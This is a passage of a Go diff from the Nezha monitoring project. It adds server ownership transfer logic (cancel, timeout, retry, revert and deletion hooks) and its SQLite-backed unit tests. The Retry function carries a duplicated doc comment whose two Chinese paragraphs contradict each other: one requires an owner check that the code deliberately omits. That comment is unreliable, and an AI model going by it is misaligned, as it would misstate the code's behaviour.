(*model.ServerTransfer, error) { + return c.revertTransition(transferID, model.ServerTransferStatusTimeout, "") +} + +// Cancel transitions a pending transfer to Cancelled and reverts +// Server.UserID. Permission filtering happens at the HTTP layer; this method +// trusts the caller and only enforces "still Pending" via CAS. +func (c *ServerTransferClass) Cancel(transferID uint64) (*model.ServerTransfer, error) { + return c.revertTransition(transferID, model.ServerTransferStatusCancelled, "") +} + +// Retry creates a new Pending transfer with the same From/To as an existing +// terminal transfer. Used by the dashboard to re-issue after a timeout or +// failure without forcing the operator to retype the target user. Concurrent +// safety against another in-flight transfer is delegated to +// InitiateExclusive (same TOCTOU-free contract batch-move relies on). +// +// 必须校验 s.UserID == prev.FromUserID：操作员在 dashboard 上看到的是 +// "prev.FromUserID → prev.ToUserID" 这条记录，如果在 retry 之前有别的并发 +// transfer 把 server 划到了第三个用户，旧逻辑会用「当前 owner」当 +// FromUserID，悄悄发出一条语义完全不同的 transfer（"new_owner → prev.To"）。 +// 强制要求当前 owner 仍是 prev.FromUserID，否则报错让操作员重新发起。 +// Retry creates a new Pending transfer with the same From/To as an existing +// terminal transfer. Used by the dashboard to re-issue after a timeout or +// failure without forcing the operator to retype the target user. Concurrent +// safety against another in-flight transfer is delegated to +// InitiateExclusive (same TOCTOU-free contract batch-move relies on). +// +// 不在这里对比 s.UserID == prev.FromUserID： +// - 非 admin 调用方在 controller 层已经被强制为「current.UserID == caller」， +// 所以走到这里时 s.UserID 必然是 caller 自己，不存在静默漂移； +// - admin 调用方是 last-resort 回收路径，UX 的契约就是「不管 server 现在归 +// 谁，把它推给 prev.ToUserID」，被 TestRetryServerTransferAllowsAdmin 钉死。 +// 再加一次 FromUserID 校验会把这条 admin 路径拒掉。 +func (c *ServerTransferClass) Retry(prev *model.ServerTransfer, initiatorID uint64) (*model.ServerTransfer, error) { + if !prev.Status.IsTerminal() { + return nil, fmt.Errorf("cannot retry a non-terminal transfer (status=%d)", prev.Status) + } + var s model.Server + if err := DB.First(&s, prev.ServerID).Error; err != nil { + return nil, err + } + // This must happen before InitiateExclusive because that call flips ownership + // in the DB; if the target user was deleted, we must fail before any mutation. + UserLock.RLock() + _, ok := UserInfoMap[prev.ToUserID] + UserLock.RUnlock() + if !ok { + return nil, fmt.Errorf("target user %d not found", prev.ToUserID) + } + if s.UserID == prev.ToUserID { + return nil, fmt.Errorf("server already belongs to the target user") + } + created, err := c.InitiateExclusive(prev.ServerID, s.UserID, prev.ToUserID, initiatorID) + if err != nil { + return nil, err + } + c.PushIfOnline(created) + return created, nil +} + +// revertTransition is the shared body of MarkFailed/MarkTimeout/Cancel: +// CAS the status, revert Server.UserID, drop from pending index, broadcast. +// Returns the transfer in its post-transition state, or nil if it was no +// longer Pending (silent no-op for idempotency). +// +// In-memory cleanup runs regardless of whether THIS call performed the +// transition. The CAS UPDATE can return RowsAffected=0 because a concurrent +// caller (MarkVerified on the auth path, another revert, the timeout sweep) +// already settled the row between our tx.First and our UPDATE; in that case +// the in-memory pending entry is stale and the auth tolerance window for +// this server has already closed in the DB sense — letting the cache lag +// would keep accepting the old owner's secret for a server that has moved +// on. Self-heal by dropping the in-memory entry whenever the DB shows the +// row as non-Pending. +func (c *ServerTransferClass) revertTransition(transferID uint64, newStatus model.ServerTransferStatus, reason string) (*model.ServerTransfer, error) { + var t model.ServerTransfer + // transitionedByThisCall distinguishes "this call performed the CAS" + // from "row was already terminal before we got here". Both early-return + // branches MUST leave it false so the post-tx SetUserID(FromUserID) + // step below is gated on a real Pending → newStatus transition. Without + // this, OnUsersDeleted + a late Cancel would re-write Server.UserID + // back to a possibly-deleted FromUserID (regression pinned by + // TestOnUserDeleteCancelsPendingTransfersAwayFromDeletedUser). + var transitionedByThisCall bool + err := DB.Transaction(func(tx *gorm.DB) error { + if err := tx.First(&t, transferID).Error; err != nil { + return err + } + if t.Status != model.ServerTransferStatusPending { + return nil + } + now := time.Now() + updates := map[string]any{ + "status": newStatus, + "updated_at": now, + } + if reason != "" { + updates["last_error"] = reason + } + res := tx.Model(&model.ServerTransfer{}). + Where("id = ? AND status = ?", t.ID, model.ServerTransferStatusPending). + Updates(updates) + if res.Error != nil { + return res.Error + } + if res.RowsAffected == 0 { + // Concurrent caller won the CAS. Re-read so the outer cleanup + // observes the authoritative status — otherwise t still holds + // the Pending snapshot we read at the top and the self-heal + // below would falsely treat the entry as still Pending. + return tx.First(&t, transferID).Error + } + // As in Initiate: require RowsAffected==1 so a vanished server row + // aborts the revert instead of silently flipping in-memory state to + // FromUserID for a row that no longer exists. + revertRes := tx.Model(&model.Server{}). + Where("id = ?", t.ServerID). + Update("user_id", t.FromUserID) + if revertRes.Error != nil { + return revertRes.Error + } + if revertRes.RowsAffected != 1 { + return fmt.Errorf("server %d: revert ownership update affected %d rows (want 1) — row likely deleted concurrently", t.ServerID, revertRes.RowsAffected) + } + t.Status = newStatus + t.LastError = reason + t.UpdatedAt = now + transitionedByThisCall = true + return nil + }) + if err != nil { + return nil, err + } + + // Ordering invariant: when this call actually performed the revert + // (newStatus reached), the in-memory Server.UserID must be reverted + // to FromUserID BEFORE any other state becomes observable, so auth + // no longer admits the destination user's global AgentSecret via + // ServerShared.GetUserID() == userId on the happy "owner match" path. + if transitionedByThisCall { + ServerShared.setUserID(t.ServerID, t.FromUserID) + } + + // Self-heal: any non-Pending DB status invalidates the in-memory entry — + // but only if that entry is THIS transfer. Without the id check a stale + // terminal id (e.g. Cancel against a transfer that already failed and + // has been superseded via Retry by a new Pending row for the same server) + // would silently wipe the new entry's auth-tolerance window and re-open + // `HasPending` so a duplicate Initiate could land. cancelServerTransfer + // does not gate on `t.Status == Pending`, so the stale-id path is + // reachable from operator UI and replayed API calls; the id match is the + // only thing keeping the in-memory pending index honest here. The DB row + // we read (t) is never the live entry's row in that case, so converging + // the cache to t.Status would be the wrong direction anyway. + if t.Status != model.ServerTransferStatusPending { + c.mu.Lock() + if existing, ok := c.pending[t.ServerID]; ok && existing.ID == t.ID { + delete(c.pending, t.ServerID) + } + c.mu.Unlock() + } + + // Gate ALL post-tx side effects on transitionedByThisCall, not on + // `t.Status == newStatus`. A stale terminal-id Cancel against a row + // that is already Cancelled has t.Status == newStatus too, so the + // older `!= newStatus` gate let the fall-through re-register the OLD + // transfer's revertDelivery / terminalSecretRecovery and re-push its + // RevertHandshakeSecret. After a Retry installed a NEW Pending + // transfer and delivered its forward HandshakeSecret, the stale + // rollback supersedes the new credential inside the agent's 10s + // reload window and strands the new transfer until the 24h timeout + // sweep. Only the call that actually performed Pending -> newStatus + // is allowed to drive rollback delivery, recovery registration, stream + // revocation, broadcast, and push. + if !transitionedByThisCall { + return nil, nil + } + c.registerRevertDelivery(&t) + c.registerTerminalSecretRecovery(&t) + + // Ownership rotated back to FromUserID — close any IOStream the + // destination user opened while they briefly held the server, so the + // rolled-back FromUserID is not exposed to live sessions from the + // would-be ToUserID. + ServerTransferRevokeStreamsForServer(t.ServerID) + + c.broadcast(&t) + c.pushRevertIfOnline(&t) + return &t, nil +} + +// OnServersDeleted finalizes any in-flight transfers for servers that have +// just been deleted. Without this hook, revertTransition cannot complete +// (its UPDATE on the gone server row fails the RowsAffected==1 invariant +// and aborts), so a Pending row would stay Pending forever, HasPending +// would keep returning true for the doomed server id, and the timeout +// sweeper would log errors every 30s without making progress. +// +// We must NOT touch model.Server here — it is already gone. We CAS each +// Pending row that the listing returned and only invalidate in-memory map +// slots whose (serverID, transferID) match a row we authoritatively +// terminated, so a concurrent Retry that landed a brand-new pending +// transfer in the same slot is not collateral damage. +func (c *ServerTransferClass) OnServersDeleted(serverIDs []uint64) { + if len(serverIDs) == 0 { + return + } + + const reason = "server deleted" + terminated := make([]model.ServerTransfer, 0, len(serverIDs)) + for _, sid := range serverIDs { + var pending []model.ServerTransfer + if err := DB.Where("server_id = ? AND status = ?", sid, model.ServerTransferStatusPending).Find(&pending).Error; err != nil { + log.Printf("NEZHA>> ServerTransfer OnServersDeleted: list pending for server %d: %v", sid, err) + continue + } + now := time.Now() + for i := range pending { + t := pending[i] + res := DB.Model(&model.ServerTransfer{}). + Where("id = ? AND status = ?", t.ID, model.ServerTransferStatusPending). + Updates(map[string]any{ + "status": model.ServerTransferStatusCancelled, + "updated_at": now, + "last_error": reason, + }) + if res.Error != nil { + log.Printf("NEZHA>> ServerTransfer OnServersDeleted: cancel transfer %d: %v", t.ID, res.Error) + continue + } + if res.RowsAffected == 0 { + continue + } + t.Status = model.ServerTransferStatusCancelled + t.LastError = reason + t.UpdatedAt = now + terminated = append(terminated, t) + } + } + + c.mu.Lock() + for i := range terminated { + t := &terminated[i] + if existing, ok := c.pending[t.ServerID]; ok && existing.ID == t.ID { + delete(c.pending, t.ServerID) + } + if existing, ok := c.revertDeliveries[t.ServerID]; ok && existing.ID == t.ID { + delete(c.revertDeliveries, t.ServerID) + } + } + // terminalSecretRecovery is keyed by serverID and can outlive an + // id-matched Cancel/Fail/Timeout that ran before this point — the + // server itself is gone, so drop unconditionally to prevent a recycled + // id from inheriting a stale per-transfer credential. + for _, sid := range serverIDs { + delete(c.terminalSecretRecovery, sid) + } + c.mu.Unlock() + + for _, sid := range serverIDs { + ServerTransferRevokeStreamsForServer(sid) + } + + for i := range terminated { + c.broadcast(&terminated[i]) + } +} + +// OnUsersDeleted terminates any Pending transfer whose FromUserID or +// ToUserID is in userIDs, BEFORE the caller drops the corresponding User +// rows. revertTransition's Cancel/Fail/Timeout paths blindly write +// Server.UserID back to FromUserID; if a pending A→B transfer outlives the +// deletion of A, a later timeout sweep (or any Cancel) would silently +// resurrect the deleted user as the server's owner. The same hazard exists +// symmetrically when B is deleted while pending: MarkVerified would promote +// to a nonexistent ToUserID. Settle the row up-front instead, mirroring +// OnServersDeleted's CAS + in-memory cleanup pattern. +// +// We deliberately do NOT touch model.Server here — the live owner may be +// a third party (chained transfers) or the surviving counterparty, and the +// caller's own delete loop (singleton.OnUserDelete) is responsible for any +// servers still attributed to the deleted user. +func (c *ServerTransferClass) OnUsersDeleted(userIDs []uint64) { + if len(userIDs) == 0 { + return + } + + const reason = "user deleted" + terminated := make([]model.ServerTransfer, 0) + var pending []model.ServerTransfer + if err := DB.Where("status = ? AND (from_user_id IN ? OR to_user_id IN ?)", + model.ServerTransferStatusPending, userIDs, userIDs).Find(&pending).Error; err != nil { + log.Printf("NEZHA>> ServerTransfer OnUsersDeleted: list pending for users %v: %v", userIDs, err) + return + } + now := time.Now() + for i := range pending { + t := pending[i] + res := DB.Model(&model.ServerTransfer{}). + Where("id = ? AND status = ?", t.ID, model.ServerTransferStatusPending). + Updates(map[string]any{ + "status": model.ServerTransferStatusCancelled, + "updated_at": now, + "last_error": reason, + }) + if res.Error != nil { + log.Printf("NEZHA>> ServerTransfer OnUsersDeleted: cancel transfer %d: %v", t.ID, res.Error) + continue + } + if res.RowsAffected == 0 { + continue + } + t.Status = model.ServerTransferStatusCancelled + t.LastError = reason + t.UpdatedAt = now + terminated = append(terminated, t) + } + + c.mu.Lock() + for i := range terminated { + t := &terminated[i] + if existing, ok := c.pending[t.ServerID]; ok && existing.ID == t.ID { + delete(c.pending, t.ServerID) + } + if existing, ok := c.revertDeliveries[t.ServerID]; ok && existing.ID == t.ID { + delete(c.revertDeliveries, t.ServerID) + } + if existing, ok := c.terminalSecretRecovery[t.ServerID]; ok && existing.ID == t.ID { + delete(c.terminalSecretRecovery, t.ServerID) + } + } + c.mu.Unlock() + + for i := range terminated { + c.broadcast(&terminated[i]) + } +} + +// timeoutSweepLoop is the goroutine started in NewServerTransferClass. It +// wakes every serverTransferTimeoutTickInterval, snapshots the pending index, +// and times out anything older than c.timeout. +func (c *ServerTransferClass) timeoutSweepLoop() { + ticker := time.NewTicker(serverTransferTimeoutTickInterval) + defer ticker.Stop() + for { + select { + case <-c.stopCh: + return + case <-ticker.C: + c.sweepTimeouts() + } + } +} + +func (c *ServerTransferClass) sweepTimeouts() { + deadline := time.Now().Add(-c.timeout) + + c.mu.RLock() + candidates := make([]uint64, 0, len(c.pending)) + for _, t := range c.pending { + if t.CreatedAt.Before(deadline) { + candidates = append(candidates, t.ID) + } + } + c.mu.RUnlock() + + // Fan out per-candidate: MarkTimeout's pushRevertIfOnline does a + // synchronous grpc.ServerStream.Send under the per-server + // applyConfigSendLock. A single wedged agent would otherwise stall every + // later candidate in this tick — and because the ticker drops on a busy + // channel, every subsequent tick too — freezing timeout detection across + // all tenants. Per-server send ordering is preserved by + // applyConfigSendLocks; cross-server parallelism is safe. We Wait so the + // sweep is a synchronous unit, which keeps tests deterministic. + var wg sync.WaitGroup + wg.Add(len(candidates)) + for _, id := range candidates { + id := id + go func() { + defer wg.Done() + _, _ = c.MarkTimeout(id) + }() + } + wg.Wait() +} + +// Subscribe registers a channel that will receive every transfer transition +// event from this point forward. The caller MUST Unsubscribe when done or +// the broker will block forever if the channel is unbuffered or full. +func (c *ServerTransferClass) Subscribe() (uint64, <-chan *model.ServerTransfer) { + c.subMu.Lock() + defer c.subMu.Unlock() + + id := atomic.AddUint64(&c.nextSubID, 1) + ch := make(chan *model.ServerTransfer, 16) + c.subs[id] = ch + return id, ch +} + +func (c *ServerTransferClass) Unsubscribe(id uint64) { + c.subMu.Lock() + ch, ok := c.subs[id] + delete(c.subs, id) + c.subMu.Unlock() + if ok { + close(ch) + } +} + +// broadcast fans the given event out to all subscribers without blocking. +// A subscriber whose buffer is full silently drops the event — the WS layer +// is expected to re-sync via REST when the user revisits a stale view. +func (c *ServerTransferClass) broadcast(t *model.ServerTransfer) { + snapshot := *t + + c.subMu.Lock() + defer c.subMu.Unlock() + for _, ch := range c.subs { + select { + case ch <- &snapshot: + default: + } + } +} diff --git a/service/singleton/server_transfer_test.go b/service/singleton/server_transfer_test.go new file mode 100644 index 00000000..2be8eb05 --- /dev/null +++ b/service/singleton/server_transfer_test.go @@ -0,0 +1,2194 @@ +package singleton + +import ( + "bytes" + "errors" + "fmt" + "log" + "strings" + "sync" + "sync/atomic" + "testing" + "time" + + "github.com/stretchr/testify/require" + "gorm.io/driver/sqlite" + "gorm.io/gorm" + + "github.com/nezhahq/nezha/model" + pb "github.com/nezhahq/nezha/proto" +) + +// fakeTaskStream is the smallest stub of pb.NezhaService_RequestTaskServer +// PushIfOnline needs: a Send that captures dispatched tasks. We only call Send +// from the production code under test, so the embedded interface satisfies the +// rest of the contract with nil-panicking methods we never invoke. +type fakeTaskStream struct { + pb.NezhaService_RequestTaskServer + mu sync.Mutex + sent []*pb.Task +} + +func newFakeTaskStream() *fakeTaskStream { return &fakeTaskStream{} } + +func (f *fakeTaskStream) Send(t *pb.Task) error { + f.mu.Lock() + defer f.mu.Unlock() + f.sent = append(f.sent, t) + return nil +} + +func (f *fakeTaskStream) reset() { + f.mu.Lock() + defer f.mu.Unlock() + f.sent = nil +} + +func (f *fakeTaskStream) sendCount() int { + f.mu.Lock() + defer f.mu.Unlock() + return len(f.sent) +} + +// setupTransferFixture wires up an in-memory DB, ServerShared, and a fresh +// ServerTransferClass with the timeout sweeper stopped (each test that needs +// timeout behavior overrides c.timeout and calls c.sweepTimeouts directly). +func setupTransferFixture(t *testing.T) (*ServerTransferClass, func()) { + t.Helper() + originalDB := DB + originalServerShared := ServerShared + originalServerTransfer := ServerTransferShared + originalUserInfoMap := UserInfoMap + + db, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{}) + require.NoError(t, err) + // Pin the connection pool to 1: ":memory:" creates a NEW database per + // connection, so a concurrent goroutine that the pool routes to a fresh + // connection sees an empty DB ("no such table"). Tests using + // sweepTimeouts's per-server fan-out goroutines hit this. + if sqlDB, errInner := db.DB(); errInner == nil { + sqlDB.SetMaxOpenConns(1) + } + require.NoError(t, db.AutoMigrate(&model.Server{}, &model.ServerTransfer{})) + DB = db + + ServerShared = NewServerClass() + UserInfoMap = make(map[uint64]model.UserInfo) + + c := NewServerTransferClass() + ServerTransferShared = c + + cleanup := func() { + c.Stop() + DB = originalDB + ServerShared = originalServerShared + ServerTransferShared = originalServerTransfer + UserInfoMap = originalUserInfoMap + } + return c, cleanup +} + +func seedServerForTransfer(t *testing.T, id, userID uint64) { + t.Helper() + s := &model.Server{ + Common: model.Common{ID: id, UserID: userID}, + UUID: fmt.Sprintf("uuid-%s-%d", t.Name(), id), + Name: "test-srv", + } + require.NoError(t, DB.Create(s).Error) + model.InitServer(s) + ServerShared.Update(s, s.UUID) +} + +// initiateAndRegister mirrors the controller flow: open a transaction, call +// Initiate, commit, then Register. Tests use it to set up a Pending transfer. +func initiateAndRegister(t *testing.T, c *ServerTransferClass, serverID, fromUserID, toUserID, initiatorID uint64) *model.ServerTransfer { + t.Helper() + var created *model.ServerTransfer + err := DB.Transaction(func(tx *gorm.DB) error { + var err error + created, err = c.Initiate(tx, serverID, fromUserID, toUserID, initiatorID) + return err + }) + require.NoError(t, err) + c.Register(created) + return created +} + +// markPendingVerified is a test convenience that resolves the current +// pending transfer for serverID and drives the new MarkVerified(serverID, +// transferID) signature. Tests that simulate the auth-path call don't care +// about the transferID lookup detail. +func markPendingVerified(t *testing.T, c *ServerTransferClass, serverID uint64) (verified bool, transfer *model.ServerTransfer, err error) { + t.Helper() + pending, ok := c.LookupPending(serverID) + if !ok { + return c.MarkVerified(serverID, 0) + } + return c.MarkVerified(serverID, pending.ID) +} + +func TestServerTransferInitiateFlipsServerUserID(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + + tr := initiateAndRegister(t, c, 1, 100, 200, 1) + require.Equal(t, model.ServerTransferStatusPending, tr.Status) + + var s model.Server + require.NoError(t, DB.First(&s, 1).Error) + require.Equal(t, uint64(200), s.UserID, "Server.UserID must be flipped to ToUserID inside the transaction") + + cached, ok := ServerShared.Get(1) + require.True(t, ok) + require.Equal(t, uint64(200), cached.UserID, "in-memory ServerShared must also reflect the new owner") +} + +func TestServerTransferLookupPendingDuringWindow(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + + require.False(t, c.HasPending(1)) + + initiateAndRegister(t, c, 1, 100, 200, 1) + + require.True(t, c.HasPending(1), "HasPending must report the freshly-registered transfer") + got, ok := c.LookupPending(1) + require.True(t, ok) + require.Equal(t, uint64(100), got.FromUserID) + require.Equal(t, uint64(200), got.ToUserID) +} + +func TestServerTransferMarkVerifiedClearsPending(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + initiateAndRegister(t, c, 1, 100, 200, 1) + + ok, verified, err := markPendingVerified(t, c, 1) + require.NoError(t, err) + require.True(t, ok, "first call on a fresh pending must return verified=true") + require.NotNil(t, verified) + require.Equal(t, model.ServerTransferStatusVerified, verified.Status) + require.NotNil(t, verified.AckedAt) + + require.False(t, c.HasPending(1), "Pending index must drop the row after MarkVerified") + + var s model.Server + require.NoError(t, DB.First(&s, 1).Error) + require.Equal(t, uint64(200), s.UserID, "Server.UserID stays at ToUserID after Verified") +} + +// MarkVerified must be idempotent — a second call must not flip the row back +// or panic. The auth path calls MarkVerified opportunistically on every RPC +// authenticated as the new owner. +func TestServerTransferMarkVerifiedIsIdempotent(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + initiateAndRegister(t, c, 1, 100, 200, 1) + + ok, verified, err := markPendingVerified(t, c, 1) + require.NoError(t, err) + require.True(t, ok, "first call must perform the transition") + require.NotNil(t, verified, "first call must transition the row to Verified") + + ok, verified, err = markPendingVerified(t, c, 1) + require.NoError(t, err) + require.False(t, ok, "second call must report verified=false") + require.Nil(t, verified, "second call must be a silent no-op (RowsAffected=0)") +} + +func TestServerTransferMarkFailedRevertsOwnership(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + tr := initiateAndRegister(t, c, 1, 100, 200, 1) + + failed, err := c.MarkFailed(tr.ID, "disable_command_execute") + require.NoError(t, err) + require.Equal(t, model.ServerTransferStatusFailed, failed.Status) + require.Equal(t, "disable_command_execute", failed.LastError) + + require.False(t, c.HasPending(1)) + + var s model.Server + require.NoError(t, DB.First(&s, 1).Error) + require.Equal(t, uint64(100), s.UserID, "Failed must revert Server.UserID to FromUserID") +} + +func TestServerTransferCancelRevertsOwnership(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + tr := initiateAndRegister(t, c, 1, 100, 200, 1) + + cancelled, err := c.Cancel(tr.ID) + require.NoError(t, err) + require.Equal(t, model.ServerTransferStatusCancelled, cancelled.Status) + + var s model.Server + require.NoError(t, DB.First(&s, 1).Error) + require.Equal(t, uint64(100), s.UserID, "Cancel must revert Server.UserID to FromUserID") +} + +func TestServerTransferTimeoutRevertsOwnership(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + tr := initiateAndRegister(t, c, 1, 100, 200, 1) + + // Force the row to look ancient so the sweeper catches it. + require.NoError(t, DB.Model(&model.ServerTransfer{}). + Where("id = ?", tr.ID). + Update("created_at", time.Now().Add(-48*time.Hour)).Error) + c.mu.Lock() + if pending, ok := c.pending[1]; ok { + pending.CreatedAt = time.Now().Add(-48 * time.Hour) + } + c.mu.Unlock() + + c.sweepTimeouts() + + var refreshed model.ServerTransfer + require.NoError(t, DB.First(&refreshed, tr.ID).Error) + require.Equal(t, model.ServerTransferStatusTimeout, refreshed.Status) + + var s model.Server + require.NoError(t, DB.First(&s, 1).Error) + require.Equal(t, uint64(100), s.UserID, "Timeout must revert Server.UserID to FromUserID") +} + +// Cancel after MarkVerified must be a no-op. The CAS guard (WHERE status = +// Pending) is the only thing preventing the auth-tolerance path and the +// timeout sweeper from racing past each other in production. +func TestServerTransferCancelAfterVerifiedIsNoOp(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + tr := initiateAndRegister(t, c, 1, 100, 200, 1) + + _, _, err := markPendingVerified(t, c, 1) + require.NoError(t, err) + + result, err := c.Cancel(tr.ID) + require.NoError(t, err) + require.Nil(t, result, "Cancel on a non-Pending row returns (nil, nil)") + + var refreshed model.ServerTransfer + require.NoError(t, DB.First(&refreshed, tr.ID).Error) + require.Equal(t, model.ServerTransferStatusVerified, refreshed.Status) + + var s model.Server + require.NoError(t, DB.First(&s, 1).Error) + require.Equal(t, uint64(200), s.UserID, "Server.UserID must remain at ToUserID") +} + +// Retry guards two distinct conditions and we need a test per condition, +// otherwise a regression in one guard hides behind the other. +// +// Guard 1 (this test): the previous row must be terminal — passing a Pending +// row trips IsTerminal() before HasPending() is even consulted. +func TestServerTransferRetryRefusesOnNonTerminalStatus(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + UserLock.Lock() + UserInfoMap[200] = model.UserInfo{AgentSecret: "target-secret"} + UserLock.Unlock() + prev := initiateAndRegister(t, c, 1, 100, 200, 1) + + _, err := c.Retry(prev, 1) + require.Error(t, err) + require.Contains(t, err.Error(), "non-terminal", "must fail on the IsTerminal guard, not on HasPending") +} + +// Guard 2: even with a properly terminal prev row, Retry must still refuse +// when the server has acquired a new in-flight transfer in the meantime — +// otherwise the operator could double-book the same server. The original +// test for this guard was a copy-paste of the non-terminal test and never +// actually exercised HasPending; this version drives it directly. +func TestServerTransferRetryRefusesWhenServerHasAnotherInflight(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + UserLock.Lock() + UserInfoMap[200] = model.UserInfo{AgentSecret: "target-secret"} + UserLock.Unlock() + + failed := initiateAndRegister(t, c, 1, 100, 200, 1) + _, err := c.MarkFailed(failed.ID, "boom") + require.NoError(t, err) + var refreshed model.ServerTransfer + require.NoError(t, DB.First(&refreshed, failed.ID).Error) + require.True(t, refreshed.Status.IsTerminal(), "precondition: prev row must be terminal") + + // A different operator kicks off a new transfer right after the failure — + // server now has an active Pending row again. + initiateAndRegister(t, c, 1, 100, 300, 2) + require.True(t, c.HasPending(1)) + + _, err = c.Retry(&refreshed, 2) + require.Error(t, err) + require.Contains(t, err.Error(), "in-flight", "must fail on the HasPending guard specifically") +} + +func TestServerTransferRetryRecreatesPending(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + UserLock.Lock() + UserInfoMap[200] = model.UserInfo{AgentSecret: "target-secret"} + UserLock.Unlock() + prev := initiateAndRegister(t, c, 1, 100, 200, 1) + + _, err := c.MarkFailed(prev.ID, "boom") + require.NoError(t, err) + + // Refresh `prev` so IsTerminal sees Failed and Retry proceeds. + var refreshed model.ServerTransfer + require.NoError(t, DB.First(&refreshed, prev.ID).Error) + + created, err := c.Retry(&refreshed, 1) + require.NoError(t, err) + require.Equal(t, model.ServerTransferStatusPending, created.Status) + require.NotEqual(t, prev.ID, created.ID) + require.Equal(t, uint64(100), created.FromUserID, "Retry uses the current Server.UserID as FromUserID after the revert") + require.Equal(t, uint64(200), created.ToUserID) + + require.True(t, c.HasPending(1)) +} + +func TestServerTransferRetryRejectsMissingTargetUser(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + + UserLock.Lock() + UserInfoMap[200] = model.UserInfo{AgentSecret: "target-secret"} + UserLock.Unlock() + + prev := initiateAndRegister(t, c, 1, 100, 200, 1) + _, err := c.MarkFailed(prev.ID, "boom") + require.NoError(t, err) + UserLock.Lock() + delete(UserInfoMap, 200) + UserLock.Unlock() + + var refreshed model.ServerTransfer + require.NoError(t, DB.First(&refreshed, prev.ID).Error) + + created, err := c.Retry(&refreshed, 1) + require.Error(t, err) + require.Contains(t, err.Error(), "target user") + require.Nil(t, created) + require.False(t, c.HasPending(1)) + + var s model.Server + require.NoError(t, DB.First(&s, 1).Error) + require.Equal(t, uint64(100), s.UserID) +} + +// Guard 3 (anti-regression): Retry must NOT compare s.UserID against +// prev.FromUserID. The non-admin path is already forced by the controller's +// authz check (current.UserID == caller); for the admin path, the design +// contract — pinned down by TestRetryServerTransferAllowsAdmin — is "issue +// a transfer to prev.ToUserID using whatever current owner exists, regardless +// of drift". Adding a FromUserID-must-match check inside Retry would silently +// break the admin recovery path. This test exists so future cleanups don't +// reintroduce that check. +func TestServerTransferRetryDoesNotEnforceFromUserIDMatch(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + UserLock.Lock() + UserInfoMap[200] = model.UserInfo{AgentSecret: "target-secret"} + UserLock.Unlock() + + prev := initiateAndRegister(t, c, 1, 100, 200, 1) + _, err := c.MarkFailed(prev.ID, "boom") + require.NoError(t, err) + var refreshed model.ServerTransfer + require.NoError(t, DB.First(&refreshed, prev.ID).Error) + + // Ownership drifts to user 300 (e.g. via an out-of-band transfer or admin + // override). The historical "from=100" no longer matches the live owner. + require.NoError(t, DB.Model(&model.Server{}).Where("id = ?", uint64(1)).Update("user_id", uint64(300)).Error) + if s, ok := ServerShared.Get(1); ok { + s.SetUserID(300) + } + + created, err := c.Retry(&refreshed, 999) + require.NoError(t, err, "Retry must still issue against the current owner — drift is not an error here") + require.Equal(t, uint64(300), created.FromUserID, "FromUserID tracks the live owner, not prev.FromUserID") + require.Equal(t, uint64(200), created.ToUserID) +} + +// On dashboard restart, persisted Pending rows must rehydrate the in-memory +// pending index — otherwise the auth-tolerance window evaporates after every +// restart and in-flight agents start failing authentication. +func TestServerTransferLoadsPendingFromDBOnConstruction(t *testing.T) { + _, cleanup := setupTransferFixture(t) + defer cleanup() + + seedServerForTransfer(t, 1, 200) + require.NoError(t, DB.Create(&model.ServerTransfer{ + Common: model.Common{ID: 42}, + ServerID: 1, + FromUserID: 100, + ToUserID: 200, + Status: model.ServerTransferStatusPending, + }).Error) + + reborn := NewServerTransferClass() + defer reborn.Stop() + + require.True(t, reborn.HasPending(1), "Pending row must be rehydrated from DB on construction") +} + +// Subscribe must observe every transition broadcast, in order. WS clients +// rely on this to keep their cache fresh without polling. +func TestServerTransferBroadcastReachesSubscribers(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + + id, ch := c.Subscribe() + defer c.Unsubscribe(id) + + tr := initiateAndRegister(t, c, 1, 100, 200, 1) + + // Register broadcasts; expect one event for the Pending registration. + select { + case ev := <-ch: + require.Equal(t, tr.ID, ev.ID) + require.Equal(t, model.ServerTransferStatusPending, ev.Status) + case <-time.After(time.Second): + t.Fatal("expected Pending broadcast within 1s") + } + + _, _, err := markPendingVerified(t, c, 1) + require.NoError(t, err) + select { + case ev := <-ch: + require.Equal(t, model.ServerTransferStatusVerified, ev.Status) + case <-time.After(time.Second): + t.Fatal("expected Verified broadcast within 1s") + } +} + +// The "one active transfer per server" invariant must hold under concurrent +// callers (two operators batch-moving the same server, or batch-move racing +// retry). The old flow had a TOCTOU between HasPending() and Initiate() that +// allowed two Pending rows to be created for the same server; this test pins +// down the contract that InitiateExclusive serializes the check + the +// transaction + the registration atomically. +func TestServerTransferInitiateExclusiveSerializesConcurrentCallers(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + + const callers = 32 + var ( + started sync.WaitGroup + release = make(chan struct{}) + successes atomic.Int64 + conflicts atomic.Int64 + otherErrs atomic.Int64 + ) + started.Add(callers) + + for i := 0; i < callers; i++ { + go func() { + started.Done() + <-release + _, err := c.InitiateExclusive(1, 100, 200, 1) + switch { + case err == nil: + successes.Add(1) + case errors.Is(err, ErrServerAlreadyTransferring): + conflicts.Add(1) + default: + otherErrs.Add(1) + } + }() + } + + started.Wait() + close(release) + 